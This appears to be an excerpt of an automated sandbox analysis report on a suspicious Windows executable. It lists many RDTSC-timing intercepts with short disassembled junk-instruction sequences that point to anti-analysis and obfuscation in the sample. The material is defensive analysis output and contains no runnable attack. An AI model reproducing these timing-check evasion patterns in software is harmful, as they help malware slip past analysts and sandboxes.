Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 806EA0 second address: 806EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C59059F19h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 806EBE second address: 806EC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 806EC4 second address: 7ED862 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edx, dword ptr [ebp+122D2C83h] 0x00000011 call dword ptr [ebp+122D2B18h] 0x00000017 push edi 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8451A4 second address: 8451AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8451AC second address: 8451B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8452D8 second address: 8452E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8452E1 second address: 8452E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8452E5 second address: 8452E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8452E9 second address: 8452EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8452EF second address: 8452F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 845475 second address: 845479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 845479 second address: 845487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F8C58F36AD6h 0x0000000e rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 845487 second address: 84549C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C59059F0Bh 0x00000007 jc 00007F8C59059F06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 84549C second address: 8454AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C58F36ADDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8454AF second address: 8454B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 845740 second address: 845773 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36AE9h 0x00000007 jmp 00007F8C58F36AE3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 845773 second address: 845788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jno 00007F8C59059F06h 0x0000000c popad 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 845788 second address: 845793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 845793 second address: 84579D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8C59059F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 845929 second address: 84592F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 84592F second address: 845935 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 845935 second address: 84595C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 js 00007F8C58F36B01h 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F8C58F36AE3h 0x00000015 pop ebx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 84595C second address: 845962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 845AC6 second address: 845ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 84A39C second address: 84A3A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 84A3A0 second address: 84A3A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 84A3A9 second address: 84A3B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 84A3B2 second address: 84A3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 84B1C4 second address: 84B1CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 84B1CA second address: 84B1D7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8C58F36AD8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 850564 second address: 85056A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 85056A second address: 850579 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 850579 second address: 850584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8C59059F06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7BCF4D second address: 7BCF8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36AE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d jmp 00007F8C58F36AE5h 0x00000012 popad 0x00000013 pushad 0x00000014 ja 00007F8C58F36ADAh 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 857313 second address: 85731F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8577A8 second address: 8577AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 857902 second address: 857919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C59059F11h 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 85A620 second address: 85A655 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007F8C58F36AD6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F8C58F36AE1h 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007F8C58F36AD6h 0x0000001a jmp 00007F8C58F36ADFh 0x0000001f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 85A655 second address: 85A659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 85A7B0 second address: 85A7B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8607A0 second address: 8607AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8607AA second address: 8607B4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8C58F36AD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8607B4 second address: 8607D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F8C59059F14h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F8C59059F0Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 jng 00007F8C59059F06h 0x0000001b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 85F2E2 second address: 85F2E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 85F42A second address: 85F437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007F8C59059F06h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 85F437 second address: 85F44F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C58F36AE2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 85F44F second address: 85F453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 85F982 second address: 85F998 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36ADAh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jno 00007F8C58F36AD6h 0x00000011 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 85F998 second address: 85F9BA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 ja 00007F8C59059F15h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 85F9BA second address: 85F9C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8604E0 second address: 8604EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 jnp 00007F8C59059F0Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 861EF3 second address: 861EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8635D1 second address: 8635D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8635D7 second address: 8635DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 86B79A second address: 86B79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 86B79E second address: 86B7A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 86B7A4 second address: 86B7BD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8C59059F0Fh 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 86B7BD second address: 86B7C3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 869CCE second address: 869CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 869CD2 second address: 869CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C58F36AE4h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 869CF0 second address: 869CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 869CF6 second address: 869CFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 86A2DD second address: 86A2F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8C59059F06h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F8C59059F06h 0x00000015 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 86A2F2 second address: 86A2F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 86A8DA second address: 86A8E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F8C59059F06h 0x0000000d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 86ABA9 second address: 86ABAF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 870E7A second address: 870E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 870E7E second address: 870E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87250A second address: 872514 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C59059F06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 872514 second address: 87251A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 873A71 second address: 873A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C59059F18h 0x00000009 jnc 00007F8C59059F06h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 873A94 second address: 873AA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F8C58F36ADEh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 877004 second address: 877008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 877185 second address: 87718A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 877693 second address: 8776A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8C59059F06h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8776A5 second address: 8776C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8C58F36AE5h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F1D2 second address: 87F1D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F1D6 second address: 87F1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F1E0 second address: 87F1EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8C59059F06h 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F5EF second address: 87F5F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F5F5 second address: 87F601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8C59059F06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F601 second address: 87F605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F605 second address: 87F62A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C59059F18h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F62A second address: 87F62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F62E second address: 87F64B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C59059F19h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F927 second address: 87F92D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 87F92D second address: 87F932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
